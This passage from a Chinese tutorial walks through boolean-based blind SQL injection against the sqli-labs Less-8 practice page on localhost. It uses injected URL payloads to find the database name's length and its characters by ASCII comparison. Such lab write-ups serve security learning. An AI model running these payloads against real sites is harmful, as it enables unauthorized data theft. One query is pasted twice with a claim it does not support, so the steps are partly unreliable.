正文
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 -+
由上图可以看出,当前数据库名的长度不等于2。
...
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 -+
由上图可以看出,当检查到8时,文本"You are in..........."又出现了,这意味着当前数据库名的长度为8。
众所周知,计算机无法理解人类的语言,它只能理解二进制语言,因此,我们要使用ASCII码。ASCII码将字符集中的每一个符号都对应于一个整数,比如字母、数字、标点符号、特殊字符和操作符。
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69
图片来源:www.lookuptables.com
接下来我们要使用ASCII码枚举出这8个字符。
下一条查询使用关键字ascii substr检查当前数据库名中的第一个字符对应的ASCII码是否大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 -+
由上图可以看出,第一个字符的ASCII码确实大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 -+
由上图可以看出,第一个字符的ASCII码小于120。这意味着第个字符的ASCII码在100和120之间。
接下来逐个检查。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 -+
由上图可以看出,第一个字符的ASCII码不等于101。
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 -+
由上图可以看出,第一个字符的ASCII码不等于114。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 -+
由上图可以看出,返回的是TRUE,意味着第一个字符的ASCII码等于115,即's'(小写)。
接下来就是第二个字符,重复以上步骤。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 -+